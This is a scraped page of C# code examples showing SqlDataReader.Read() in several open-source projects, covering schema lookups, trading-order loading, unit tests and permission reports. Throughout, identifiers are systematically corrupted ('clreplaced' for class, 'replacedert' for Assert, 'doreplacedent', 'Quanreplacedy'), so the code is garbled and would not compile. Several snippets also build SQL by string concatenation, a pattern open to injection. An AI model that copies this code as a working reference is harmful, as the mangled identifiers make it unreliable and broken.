Here are the examples of the csharp api System.Data.SqlClient.SqlDataReader.Read() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
855 Examples
19
Source : SqlConnectionExtensions.cs
with MIT License
from gordon-matt
with MIT License
from gordon-matt
public static IEnumerable<string> GetSchemaNames(this SqlConnection connection)
{
const string CMD_SELECT_SCHEMA_NAMES =
@"SELECT s.[name] as [Name]
FROM sys.schemas S
WHERE [schema_id] < 1000
ORDER BY S.[name]";
var schemaNames = new List<string>();
bool alreadyOpen = (connection.State != ConnectionState.Closed);
if (!alreadyOpen)
{
connection.Open();
}
using (var command = connection.CreateCommand())
{
command.CommandType = CommandType.Text;
command.CommandText = CMD_SELECT_SCHEMA_NAMES;
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
schemaNames.Add(reader.GetString(0));
}
}
}
if (!alreadyOpen)
{
connection.Close();
}
return schemaNames;
}
19
Source : Form1.cs
with MIT License
from hanyang0721
with MIT License
from hanyang0721
private void GetCurrentOrder()
{
SqlConnection connection = null;
try
{
string sqltext = "";
foreach(int interval in targetinterval)
{
sqltext += " SignalTime=DATEADD(minute, -"+ interval+ ", @execution_dt) OR";
}
sqltext = sqltext.Substring(0, sqltext.Length - 3);//remove last OR
using (connection = new SqlConnection(connectionstr))
{
connection.Open();
//int intervalMins = Convert.ToInt32(textBox1.Text.ToString()) / 1000 / 60;//convert to minute
//intervalMins = 5;
SqlCommand sqlcmd = new SqlCommand();
sqlcmd.Connection = connection;
DateTime nearestMinute = util.RoundToNearest(DateTime.Now, TimeSpan.FromMinutes(1));
SqlParameter prar_execution_dt = sqlcmd.Parameters.Add("@execution_dt",System.Data.SqlDbType.DateTime);
//SqlParameter interval_para = sqlcmd.Parameters.Add("@intervalMins", System.Data.SqlDbType.Int);
prar_execution_dt.Value = nearestMinute;
//interval_para.Value = intervalMins;
util.RecordLog(connectionstr, "4.2 GetCurrentOrder Start", util.INFO);
sqlcmd.CommandText = "SELECT * FROM [dbo].[Orders] WHERE " + sqltext ;
//sqlcmd.CommandText = "SELECT TOP 2 * FROM [Stock].[dbo].[Orders] WHERE orderid=53787";
using (SqlDataReader reader = sqlcmd.ExecuteReader())
{
while (reader.Read())
{
FUTUREORDER pFutureOrder = new FUTUREORDER();
//將三個order欄位資訊放入stratName, 方便委託成交回報串資料
string stratName = reader["StrategyName"].ToString() + ";"+ reader["SignalTime"].ToString() +";"+ reader["Price"].ToString();
pFutureOrder.bstrFullAccount = GetMorningOrNightVars(0);//return account
pFutureOrder.bstrPrice = reader["DealPrice"].ToString();
pFutureOrder.bstrStockNo = reader["stockNo"].ToString();
pFutureOrder.nQty = Convert.ToInt16(reader["Size"].ToString());
pFutureOrder.sBuySell = Convert.ToInt16(reader["BuyOrSell"].ToString());
pFutureOrder.sDayTrade = Convert.ToInt16(reader["DayTrade"].ToString());
//(short)Convert.ToInt32(reader["DayTrade"].ToString()); //當沖0:否 1:是
pFutureOrder.sTradeType = Convert.ToInt16(reader["TradeType"].ToString());
//(short)Convert.ToInt32(reader["TradeType"].ToString()); ;//0:ROD 1:IOC 2:FOK
pFutureOrder.sNewClose = 2;//0新倉 1平倉 2自動
OnFutureOrderSignal?.Invoke("", true, pFutureOrder, stratName);//true 為非同步委託
util.RecordLog(connectionstr, "4.0 Order loop is finished !", util.INFO);
}
}
util.RecordLog(connectionstr, "4.3 GetCurrentOrder Done", util.INFO);
connection.Close();
}
}
catch (Exception ex)
{
util.RecordLog(connectionstr, "GetCurrentOrder " + ex.ToString(), util.ALARM);
}
finally
{
connection.Close();
}
}
19
Source : ExtendedPropertiesHelper.cs
with MIT License
from havit
with MIT License
from havit
private static Dictionary<ExtendedPropertiesKey, Dictionary<string, string>> GetAllExtendedProperties()
{
if (allExtendedProperties == null)
{
SqlCommand cmd = new SqlCommand("SELECT clreplaced_desc, major_id, minor_id, name, value FROM sys.extended_properties");
List<Tuple<ExtendedPropertiesKey, string, string>> data = new List<Tuple<ExtendedPropertiesKey, string, string>>();
using (SqlDataReader dataReader = ConnectionHelper.GetDataReader(cmd))
{
while (dataReader.Read())
{
string clreplacedDesc = dataReader.GetString(0);
long majorId = dataReader.GetInt32(1);
long minorId = dataReader.GetInt32(2);
string name = (string)dataReader["name"];
object value = dataReader["value"];
if (value is string)
{
name = name.Replace("_", ".");
var key = new ExtendedPropertiesKey(clreplacedDesc, majorId, minorId);
data.Add(new Tuple<ExtendedPropertiesKey, string, string>(key, name, (string)value));
}
}
}
allExtendedProperties = data.GroupBy(item => item.Item1 /* Key */).ToDictionary(group => group.Key, group => group.ToDictionary(item => item.Item2 /* Name */, item => item.Item3 /* Value */, StringComparer.CurrentCultureIgnoreCase));
}
return allExtendedProperties;
}
19
Source : ResourceHelper.cs
with MIT License
from havit
with MIT License
from havit
public static List<ResourceClreplaced> GetResourceClreplacedes(Table resourceClreplaced)
{
if (_getResourceClreplacedesResult == null)
{
_getResourceClreplacedesResult = new List<ResourceClreplaced>();
using (SqlCommand command = GetResourceClreplacedes_GetSqlCommand(resourceClreplaced))
{
using (SqlDataReader dataReader = ConnectionHelper.GetDataReader(command))
{
while (dataReader.Read())
{
int id = dataReader.GetInt32(0);
string clreplacedName = dataReader.GetString(1);
string comment = dataReader.IsDBNull(2) ? "" : dataReader.GetString(2);
_getResourceClreplacedesResult.Add(new ResourceClreplaced
{
ID = id,
ClreplacedName = clreplacedName,
Comment = comment
});
}
}
}
_getResourceClreplacedesResult.Sort((clreplaced1, clreplaced2) => String.Compare(clreplaced1.ClreplacedName, clreplaced2.ClreplacedName, StringComparison.InvariantCultureIgnoreCase));
}
return _getResourceClreplacedesResult;
}
19
Source : ResourceHelper.cs
with MIT License
from havit
with MIT License
from havit
public static List<ResourceItem> GetResourceItems(int resourceClreplacedID)
{
if (_getResourceItemsResult == null)
{
_getResourceItemsResult = new List<ResourceItem>();
using (SqlCommand command = GetResourceItems_GetSqlCommand())
{
using (SqlDataReader dataReader = ConnectionHelper.GetDataReader(command))
{
while (dataReader.Read())
{
int id = dataReader.GetInt32(0);
string name = dataReader.GetString(1);
int clreplacedID = dataReader.GetInt32(2);
_getResourceItemsResult.Add(new ResourceItem
{
ID = id,
Name = name,
ResourceClreplacedID = clreplacedID
});
}
}
}
}
return _getResourceItemsResult.FindAll(item => item.ResourceClreplacedID == resourceClreplacedID);
}
19
Source : TableHelper.cs
with MIT License
from havit
with MIT License
from havit
public static List<EnumMember> GetEnumMembers(Table table)
{
List<EnumMember> result = new List<EnumMember>();
string idColumn = TableHelper.GetPrimaryKey(table).Name;
string nameColumn;
nameColumn = ExtendedPropertiesHelper.GetString(ExtendedPropertiesKey.FromTable(table), "EnumPropertyNameField");
if (nameColumn != null)
{
if (!table.Columns.Contains(nameColumn))
{
throw new ApplicationException(
String.Format("Sloupec '{0}' nebyl v tabulce '{1}' nalezen (EnumPropertyNameField).", nameColumn, table.Name));
}
}
if (nameColumn == null)
{
nameColumn = ColumnHelper.FindFirstExistingColumn(table, "PropertyName", "Symbol", "Nazev", "Name");
}
if (nameColumn == null)
{
throw new ApplicationException("Nepodařilo se určit název sloupce pro název property výčtu.");
}
string commentColumn = ColumnHelper.FindFirstExistingColumn(table, "Komentar", "Comment");
using (
SqlCommand command =
new SqlCommand(
String.Format("SELECT [{2}], [{3}]{4} FROM [{0}].[{1}] WHERE LEN([{3}]) > 0",
table.Schema, // 0
table.Name, // 1
idColumn, // 2
nameColumn, // 3
String.IsNullOrEmpty(commentColumn) ? "" : ", [" + commentColumn + "]"))) // 4
{
using (SqlDataReader reader = ConnectionHelper.GetDataReader(command))
{
while (reader.Read())
{
int id = (int)reader[idColumn];
string name = (string)reader[nameColumn];
string[] names = name.Trim().Split(' ');
for (int i = 0; i < names.Length; i++)
{
names[i] = names[i].Substring(0, 1).ToUpper() + names[i].Substring(1);
}
name = String.Join("", names);
string comment = null;
if (commentColumn != null)
{
comment = (string)reader[commentColumn];
}
result.Add(new EnumMember(id, name, comment));
}
}
}
return result;
}
19
Source : ImportFileTests.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
[Test]
public void ImportFile()
{
string file = Path.GetTempFileName();
string databaseName = TestDatabaseNames.GetConsistentName(GetType().Name);
try
{
using (var sw = new StreamWriter(file))
{
sw.WriteLine("Name,Surname,Age,Healthiness,DateOfImagining");
sw.WriteLine("Frank,\"Mortus,M\",41,0.00,2005-12-01");
sw.WriteLine("Bob,Balie,12,1,2013-06-11");
sw.WriteLine("Munchen,'Smith',43,0.3,2002-01-01");
sw.WriteLine("Carnage,Here there is,29,0.91,2005-01-01");
sw.WriteLine("Nathan,Crumble,51,0.78,2005-01-01");
sw.Close();
}
var source = new DelimitedFlatFileDataFlowSource
{
Separator = ",",
IgnoreBlankLines = true,
MakeHeaderNamesSane = true,
StronglyTypeInputBatchSize = -1,
StronglyTypeInput = true
};
source.PreInitialize(new FlatFileToLoad(new FileInfo(file)), new ThrowImmediatelyDataLoadEventListener());//this is the file we want to load
source.Check(new ThrowImmediatelyCheckNotifier());
var server = DiscoveredServerICanCreateRandomDatabasesAndTablesOn;
var database = server.ExpectDatabase(databaseName);
//recreate it
database.Create(true);
server.ChangeDatabase(databaseName);
var dt = source.GetChunk(new ThrowImmediatelyDataLoadEventListener(), new GracefulCancellationToken());
var tbl = database.CreateTable(dt.TableName, dt);
string tableName = tbl.GetRuntimeName();
source.Dispose(new ThrowImmediatelyDataLoadEventListener(), null);
var tablesInDatabase = server.ExpectDatabase(databaseName).DiscoverTables(false);
//there should be 1 table in this database
replacedert.AreEqual(1, tablesInDatabase.Length);
//it should be called the same as the file loaded
replacedert.AreEqual(Path.GetFileNameWithoutExtension(file), tablesInDatabase[0].GetRuntimeName());
replacedert.AreEqual("varchar(7)", GetColumnType(database, tableName, "Name"));
replacedert.AreEqual("varchar(13)", GetColumnType(database, tableName, "Surname"));
replacedert.AreEqual("int", GetColumnType(database, tableName, "Age"));
replacedert.AreEqual("decimal(3,2)", GetColumnType(database, tableName, "Healthiness"));
replacedert.AreEqual("datetime2", GetColumnType(database, tableName, "DateOfImagining"));
using (var con = (SqlConnection) server.GetConnection())
{
con.Open();
SqlCommand cmdReadData =
new SqlCommand(
"Select * from " + tablesInDatabase[0].GetRuntimeName() + " WHERE Name='Frank'", con);
SqlDataReader r = cmdReadData.ExecuteReader();
//expected 1 record only
replacedert.IsTrue(r.Read());
replacedert.AreEqual("Frank", r["Name"]);
replacedert.AreEqual("Mortus,M", r["Surname"]);
replacedert.AreEqual(41, r["Age"]);
replacedert.AreEqual(0.0f, r["Healthiness"]);
replacedert.AreEqual(new DateTime(2005, 12, 1), r["DateOfImagining"]);
//and no more records
replacedert.IsFalse(r.Read());
con.Close();
}
server.ExpectDatabase(databaseName).Drop();
replacedert.IsFalse(server.ExpectDatabase(databaseName).Exists());
}
finally
{
try
{
File.Delete(file);
}
catch (IOException)
{
//Couldn't delete temporary file... oh well
}
}
}
19
Source : JoinableCohortConfigurationTests.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
[Test]
public void JoinablesWithCache()
{
const string queryCachingDatabaseName = "MyQueryCachingDatabase";
var builder = new CohortQueryBuilder(aggregate1, null);
//make aggregate 2 a joinable
var joinable2 = new JoinableCohortAggregateConfiguration(CatalogueRepository, cohortIdentificationConfiguration, aggregate2);
joinable2.AddUser(aggregate1);
//make aggregate 2 have an additional column (dtCreated)
var anotherCol = aggregate2.Catalogue.GetAllExtractionInformation(ExtractionCategory.Any).Single(e => e.GetRuntimeName().Equals("dtCreated"));
aggregate2.AddDimension(anotherCol);
_queryCachingDatabase = DiscoveredServerICanCreateRandomDatabasesAndTablesOn.ExpectDatabase(queryCachingDatabaseName);
if (_queryCachingDatabase.Exists())
_queryCachingDatabase.Drop(); //make sure it doesn't exist
MasterDatabaseScriptExecutor scripter = new MasterDatabaseScriptExecutor(_queryCachingDatabase);
scripter.CreateAndPatchDatabaseWithDotDatabasereplacedembly(typeof(QueryCaching.Database.Clreplaced1).replacedembly, new AcceptAllCheckNotifier());
var queryCachingDatabaseServer = new ExternalDatabaseServer(CatalogueRepository, queryCachingDatabaseName);
queryCachingDatabaseServer.SetProperties(_queryCachingDatabase);
//make the builder use the query cache we just set up
builder.CacheServer = queryCachingDatabaseServer;
try
{
var builderForCaching = new CohortQueryBuilder(aggregate2, null, true);
var cacheDt = new DataTable();
using (SqlConnection con = (SqlConnection)DiscoveredDatabaseICanCreateRandomTablesIn.Server.GetConnection())
{
con.Open();
SqlDataAdapter da = new SqlDataAdapter(new SqlCommand(builderForCaching.SQL, con));
da.Fill(cacheDt);
}
var cacheManager = new CachedAggregateConfigurationResultsManager(queryCachingDatabaseServer);
cacheManager.CommitResults(new CacheCommitJoinableInceptionQuery(aggregate2, builderForCaching.SQL, cacheDt, null,30));
try
{
Console.WriteLine(builder.SQL);
using (var con = (SqlConnection)DiscoveredDatabaseICanCreateRandomTablesIn.Server.GetConnection())
{
con.Open();
var dbReader = new SqlCommand(builder.SQL, con).ExecuteReader();
//can read at least one row
replacedert.IsTrue(dbReader.Read());
}
string expectedTableAlias = "ix" + joinable2.ID;
//after joinables
replacedert.AreEqual(
CollapseWhitespace(
string.Format(
@"/*cic_{2}_UnitTestAggregate1*/
SELECT
distinct
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi]
FROM
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData]
LEFT Join (
/*Cached:cic_{2}_UnitTestAggregate2*/
select * from [MyQueryCachingDatabase]..[JoinableInceptionQuery_AggregateConfiguration{1}]
){0}
on ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi] = {0}.chi", expectedTableAlias,aggregate2.ID,cohortIdentificationConfiguration.ID)),
CollapseWhitespace(builder.SQL));
}
finally
{
joinable2.Users[0].DeleteInDatabase();
joinable2.DeleteInDatabase();
}
}
finally
{
queryCachingDatabaseServer.DeleteInDatabase();
DiscoveredServerICanCreateRandomDatabasesAndTablesOn.ExpectDatabase(queryCachingDatabaseName).Drop();
}
}
19
Source : MasterDatabaseScriptExecutor.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
public Patch[] GetPatchesRun()
{
List<Patch> toReturn = new List<Patch>();
using (var con = new SqlConnection(CreateConnectionString()))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from " +RoundhouseSchemaName +"."+ RoundhouseScriptsRunTable, con);
var r = cmd.ExecuteReader();
while (r.Read())
{
string text_of_script = (string)r["text_of_script"];
string script_name = (string)r["script_name"] ;
if(script_name.Equals(InitialDatabaseScriptName))
continue;
Patch p = new Patch(script_name,text_of_script);
toReturn.Add(p);
}
con.Close();
}
return toReturn.ToArray();
}
19
Source : JoinableCohortConfigurationTests.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
[Test]
public void QueryBuilderTest()
{
var builder = new CohortQueryBuilder(aggregate1, null);
//make aggregate 2 a joinable
var joinable2 = new JoinableCohortAggregateConfiguration(CatalogueRepository,cohortIdentificationConfiguration, aggregate2);
joinable2.AddUser(aggregate1);
Console.WriteLine(builder.SQL);
try
{
using (var con = (SqlConnection) DiscoveredDatabaseICanCreateRandomTablesIn.Server.GetConnection())
{
con.Open();
var dbReader = new SqlCommand(builder.SQL, con).ExecuteReader();
//can read at least one row
replacedert.IsTrue(dbReader.Read());
}
string expectedTableAlias = "ix" + joinable2.ID;
//after joinables
replacedert.AreEqual(
string.Format(
@"/*cic_{1}_UnitTestAggregate1*/
SELECT
distinct
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi]
FROM
["+TestDatabaseNames.Prefix+ @"ScratchArea]..[BulkData]
LEFT Join (
/*cic_{1}_UnitTestAggregate2*/
SELECT
distinct
[" + TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi]
FROM
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData]
){0}
on ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi] = {0}.chi",expectedTableAlias,cohortIdentificationConfiguration.ID), builder.SQL);
}
finally
{
joinable2.Users[0].DeleteInDatabase();
joinable2.DeleteInDatabase();
}
}
19
Source : JoinableCohortConfigurationTests.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
[Test]
public void QueryBuilderTest_AdditionalColumn()
{
var anotherCol = aggregate2.Catalogue.GetAllExtractionInformation(ExtractionCategory.Any).Single(e => e.GetRuntimeName().Equals("dtCreated"));
aggregate2.AddDimension(anotherCol);
//make aggregate 2 a joinable
var joinable2 = new JoinableCohortAggregateConfiguration(CatalogueRepository, cohortIdentificationConfiguration, aggregate2);
joinable2.AddUser(aggregate1);
string expectedTableAlias = "ix" + joinable2.ID;
var filterContainer1 = new AggregateFilterContainer(CatalogueRepository, FilterContainerOperation.AND);
var filterContainer2 = new AggregateFilterContainer(CatalogueRepository, FilterContainerOperation.AND);
var filter1 = new AggregateFilter(CatalogueRepository, "Within 1 year of event", filterContainer1);
var filter2 = new AggregateFilter(CatalogueRepository, "DateAfter2001", filterContainer2);
filter1.WhereSQL = string.Format("ABS(DATEDIFF(year, {0}.dtCreated, ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].dtCreated)) <= 1",expectedTableAlias);
filter1.SaveToDatabase();
filter2.WhereSQL = "dtCreated > '2001-01-01'";
filter2.SaveToDatabase();
aggregate1.RootFilterContainer_ID = filterContainer1.ID;
aggregate1.SaveToDatabase();
aggregate2.RootFilterContainer_ID = filterContainer2.ID;
aggregate2.SaveToDatabase();
var builder = new CohortQueryBuilder(aggregate1, null);
Console.WriteLine(builder.SQL);
try
{
using (var con = (SqlConnection)DiscoveredDatabaseICanCreateRandomTablesIn.Server.GetConnection())
{
con.Open();
var dbReader = new SqlCommand(builder.SQL, con).ExecuteReader();
//can read at least one row
replacedert.IsTrue(dbReader.Read());
}
//after joinables
replacedert.AreEqual(
CollapseWhitespace(
string.Format(
@"/*cic_{1}_UnitTestAggregate1*/
SELECT
distinct
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi]
FROM
["+TestDatabaseNames.Prefix+ @"ScratchArea]..[BulkData]
LEFT Join (
/*cic_{1}_UnitTestAggregate2*/
SELECT distinct
[" + TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi], ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[dtCreated]
FROM
["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData]
WHERE
(
/*DateAfter2001*/
dtCreated > '2001-01-01'
)
){0}
on ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].[chi] = {0}.chi
WHERE
(
/*Within 1 year of event*/
ABS(DATEDIFF(year, {0}.dtCreated, ["+TestDatabaseNames.Prefix+@"ScratchArea]..[BulkData].dtCreated)) <= 1
)", expectedTableAlias,cohortIdentificationConfiguration.ID)), CollapseWhitespace(builder.SQL));
}
finally
{
filter1.DeleteInDatabase();
filter2.DeleteInDatabase();
filterContainer1.DeleteInDatabase();
filterContainer2.DeleteInDatabase();
joinable2.Users[0].DeleteInDatabase();
joinable2.DeleteInDatabase();
}
}
19
Source : WordAccessRightsByDatabase.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
private void CreateDatabaseTable(DocX doreplacedent, string database)
{
using (var con = (SqlConnection) _dbInfo.Server.GetConnection())
{
con.Open();
SqlCommand cmdNumberOfUsers = GetCommandForDatabase(con, database, true);
int numberOfUsers = int.Parse(cmdNumberOfUsers.ExecuteScalar().ToString());
Table table = InsertTable(doreplacedent, numberOfUsers + 1, 5);
var fontSize = 5;
int tableLine = 0;
SetTableCell(table, tableLine, 0, "DatabaseName", fontSize);
SetTableCell(table, tableLine, 1, "UserName", fontSize);
SetTableCell(table, tableLine, 2, "Role", fontSize);
SetTableCell(table, tableLine, 3, "PermissionType", fontSize);
SetTableCell(table, tableLine, 4, "PermissionState", fontSize);
tableLine++;
SqlCommand cmdUsers = GetCommandForDatabase(con, database, false);
SqlDataReader r = cmdUsers.ExecuteReader();
while (r.Read())
{
SetTableCell(table, tableLine, 0, r["DatabaseName"].ToString(), fontSize);
SetTableCell(table, tableLine, 1, r["DatabaseUserName"].ToString(), fontSize);
SetTableCell(table, tableLine, 2, r["Role"].ToString(), fontSize);
SetTableCell(table, tableLine, 3, r["PermissionType"].ToString(), fontSize);
SetTableCell(table, tableLine, 4, r["PermissionState"].ToString(), fontSize);
tableLine++;
}
r.Close();
con.Close();
}
}
19
Source : WordAccessRightsByUser.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
private string[] UserAccounts()
{
List<string> toReturn = new List<string>();
using (var c = (SqlConnection) _dbInfo.Server.GetConnection())
{
c.Open();
//get the current users with login rights or database permissions
string sql =
@"select distinct name from {0}.[dbo].[Logins] where name not like '%##%' and name not like '%NT %' and name not in ('sys','{{All Users}}','dbo','sa','guest','SQLAgentOperatorRole','SQLAgentReaderRole')
union
select distinct DatabaseUserName as name from {0}.[dbo].[DatabasePermissions] where DatabaseUserName not like '%##%' and DatabaseUserName not like '%NT %' and DatabaseUserName not in ('sys','{{All Users}}','dbo','sa','guest','SQLAgentOperatorRole','SQLAgentReaderRole')
";
//and get the expired user accounts / expired permissions too
if (!_currentUsersOnly)
sql += @"union
select distinct name from {0}.[dbo].[Logins_Archive] where name not like '%##%' and name not like '%NT %' and name not in ('sys','{{All Users}}','dbo','sa','guest','SQLAgentOperatorRole','SQLAgentReaderRole')
union
select distinct DatabaseUserName as name from {0}.[dbo].[DatabasePermissions_Archive] where DatabaseUserName not like '%##%' and DatabaseUserName not like '%NT %' and DatabaseUserName not in ('sys','{{All Users}}','dbo','sa','guest','SQLAgentOperatorRole','SQLAgentReaderRole') ";
SqlCommand cmd = new SqlCommand(
string.Format(sql, _dbInfo.GetRuntimeName()), c);
SqlDataReader r = cmd.ExecuteReader();
while (r.Read())
toReturn.Add(r["name"] as string);
}
return toReturn.ToArray();
}
19
Source : WordAccessRightsByDatabase.cs
with GNU General Public License v3.0
from HicServices
with GNU General Public License v3.0
from HicServices
private void CreateAdministratorsTable(DocX doreplacedent)
{
using (var con = (SqlConnection) _dbInfo.Server.GetConnection())
{
con.Open();
SqlCommand cmdNumberOfAdmins = new SqlCommand("Select count(*) " + adminsFromAndWhere, con);
int numberOfAdmins = int.Parse(cmdNumberOfAdmins.ExecuteScalar().ToString());
Table table = InsertTable(doreplacedent, numberOfAdmins + 1, 9);
var fontSize = 5;
int tableLine = 0;
SetTableCell(table, tableLine, 0, "name", fontSize);
SetTableCell(table, tableLine, 1, "sysadmin", fontSize);
SetTableCell(table, tableLine, 2, "securityadmin", fontSize);
SetTableCell(table, tableLine, 3, "serveradmin", fontSize);
SetTableCell(table, tableLine, 4, "setupadmin", fontSize);
SetTableCell(table, tableLine, 5, "processadmin", fontSize);
SetTableCell(table, tableLine, 6, "diskadmin", fontSize);
SetTableCell(table, tableLine, 7, "dbcreator", fontSize);
SetTableCell(table, tableLine, 8, "bulkadmin", fontSize);
tableLine++;
SqlCommand cmdAdmins = new SqlCommand("Select * " + adminsFromAndWhere + " ORDER BY name", con);
SqlDataReader r = cmdAdmins.ExecuteReader();
while (r.Read())
{
SetTableCell(table, tableLine, 0, r["name"].ToString(), fontSize);
SetTableCell(table, tableLine, 1, r["sysadmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 2, r["securityadmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 3, r["serveradmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 4, r["setupadmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 5, r["processadmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 6, r["diskadmin"].ToString(), fontSize);
SetTableCell(table, tableLine, 7, r["dbcreator"].ToString(), fontSize);
SetTableCell(table, tableLine, 8, r["bulkadmin"].ToString(), fontSize);
tableLine++;
}
r.Close();
con.Close();
}
}
19
Source : SoftSqlOperate.cs
with GNU Lesser General Public License v3.0
from HslCommunication-Community
with GNU Lesser General Public License v3.0
from HslCommunication-Community
public static int ExecuteSelectCount(SqlConnection conn, string cmdStr)
{
using (SqlCommand cmd = new SqlCommand(cmdStr, conn))
{
int temp = 0;
SqlDataReader sdr = cmd.ExecuteReader();
if (sdr.Read())
{
temp = Convert.ToInt32(sdr[0]);
}
sdr.Close();
return temp;
}
}
19
Source : Login_Page.cs
with BSD 3-Clause "New" or "Revised" License
from Ideasis
with BSD 3-Clause "New" or "Revised" License
from Ideasis
protected void Page_Load()
{
int flag = 0;
string connectionString = "Data Source=.\\SQLEXPRESS; Integrated Security=True;";
using (SqlConnection con = new SqlConnection(connectionString))
{
con.Open();
using (SqlCommand cmd = new SqlCommand("SELECT name from sys.databases", con))
{
using (SqlDataReader dr = cmd.ExecuteReader())
{
while (dr.Read())
{
if (dr[0].ToString() == "Vivos")
{
flag = 1;
con.Close();
break;
}
}
}
}
if (flag == 0)
{
string startuppath = System.IO.Path.GetFullPath(".\\");
string MDFCreator = startuppath + "\\VivoosMDFCreator.sql";
string TableCreator = startuppath + "\\VivoosTableCreator.sql";
string elementAdder = startuppath + "\\ElementAdder.sql";
try
{
string sqlConnectionString = @"Integrated Security=SSPI;Persist Security Info=False;Data Source=.\SQLEXPRESS";
string script = File.ReadAllText(MDFCreator);
SqlConnection conn = new SqlConnection(sqlConnectionString);
Server server = new Server(new ServerConnection(conn));
server.ConnectionContext.ExecuteNonQuery(script);
string sqlConnectionString1 = @"Integrated Security=SSPI;Persist Security Info=False;Data Source=.\SQLEXPRESS";
string script1 = File.ReadAllText(TableCreator);
SqlConnection conn1 = new SqlConnection(sqlConnectionString1);
Server server1 = new Server(new ServerConnection(conn));
server.ConnectionContext.ExecuteNonQuery(script);
string sqlConnectionString2 = @"Integrated Security=SSPI;Persist Security Info=False;Data Source=.\SQLEXPRESS";
string script2 = File.ReadAllText(elementAdder);
SqlConnection conn2 = new SqlConnection(sqlConnectionString2);
Server server2 = new Server(new ServerConnection(conn2));
server.ConnectionContext.ExecuteNonQuery(script2);
try
{
add_scenarios(Properties.Resources.Fear_Of_Dog_Park_File.ToString(), Properties.Resources.Fear_Of_Dog_Park_Image);
add_scenarios(Properties.Resources.Fear_Of_Height_Balcony_File.ToString(), Properties.Resources.Fear_Of_Height_Balcony_Image);
add_scenarios(Properties.Resources.Fear_Of_Spider_File.ToString(), Properties.Resources.Fear_Of_Spider_Image);
add_scenarios(Properties.Resources.Fear_Of_Dark_File.ToString(), Properties.Resources.Fear_Of_Dark_Image);
add_scenarios(Properties.Resources.Social_Anxiety_Clreplacedroom_File.ToString(), Properties.Resources.Social_Anxiety_Clreplacedroom_Image);
add_scenarios(Properties.Resources.Fear_Of_Height_Elevator_File.ToString(), Properties.Resources.Fear_Of_Height_Elevator_Image);
add_scenarios(Properties.Resources.Fear_Of_Flight_File.ToString(), Properties.Resources.Fear_Of_Flight_Image);
add_scenarios(Properties.Resources.Park_Ayda_File.ToString(), Properties.Resources.Park_Ayda_Image);
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
catch (Exception)
{
string sqlConnectionString = @"Integrated Security=SSPI;Persist Security Info=False;Data Source=.\SQLEXPRESS";
string script = File.ReadAllText(TableCreator);
SqlConnection conn = new SqlConnection(sqlConnectionString);
Server server = new Server(new ServerConnection(conn));
server.ConnectionContext.ExecuteNonQuery(script);
string sqlConnectionString1 = @"Integrated Security=SSPI;Persist Security Info=False;Data Source=.\SQLEXPRESS";
string script1 = File.ReadAllText(elementAdder);
SqlConnection conn1 = new SqlConnection(sqlConnectionString1);
Server server1 = new Server(new ServerConnection(conn1));
server.ConnectionContext.ExecuteNonQuery(script1);
try
{
add_scenarios(Properties.Resources.Fear_Of_Dog_Park_File.ToString(), Properties.Resources.Fear_Of_Dog_Park_Image);
add_scenarios(Properties.Resources.Fear_Of_Height_Balcony_File.ToString(), Properties.Resources.Fear_Of_Height_Balcony_Image);
add_scenarios(Properties.Resources.Fear_Of_Spider_File.ToString(), Properties.Resources.Fear_Of_Spider_Image);
add_scenarios(Properties.Resources.Fear_Of_Dark_File.ToString(), Properties.Resources.Fear_Of_Dark_Image);
add_scenarios(Properties.Resources.Social_Anxiety_Clreplacedroom_File.ToString(), Properties.Resources.Social_Anxiety_Clreplacedroom_Image);
add_scenarios(Properties.Resources.Fear_Of_Height_Elevator_File.ToString(), Properties.Resources.Fear_Of_Height_Elevator_Image);
add_scenarios(Properties.Resources.Fear_Of_Flight_File.ToString(), Properties.Resources.Fear_Of_Flight_Image);
add_scenarios(Properties.Resources.Park_Ayda_File.ToString(), Properties.Resources.Park_Ayda_Image);
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
}
}
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static FindItemResponse FindItem(dynamic jsonRequestData, SqlConnection connection, ILogger log)
{
string item = jsonRequestData;
string nameKey = QueryHelper.Instance.SingularizeAndLower(item);
List<Item> items = new List<Item>();
var queryString = $"SELECT Name,Quanreplacedy,Row,Col FROM dbo.Items WHERE Items.NameKey LIKE @param1";
using (SqlCommand command = new SqlCommand())
{
command.Connection = connection;
command.CommandText = queryString;
command.Parameters.AddWithValue("@param1", nameKey);
SqlDataReader reader = command.ExecuteReader();
try
{
while (reader.Read())
{
items.Add(
new Item
{
Name = (string)reader[Dbo.Items.Name],
Quanreplacedy = (int)reader[Dbo.Items.Quanreplacedy],
Row = (int)reader[Dbo.Items.Row],
Col = (int)reader[Dbo.Items.Col]
});
}
if (items.Count > 0)
{
return new FindItemResponse(items);
}
// Todo: match tags extracted from input word and return top 3
}
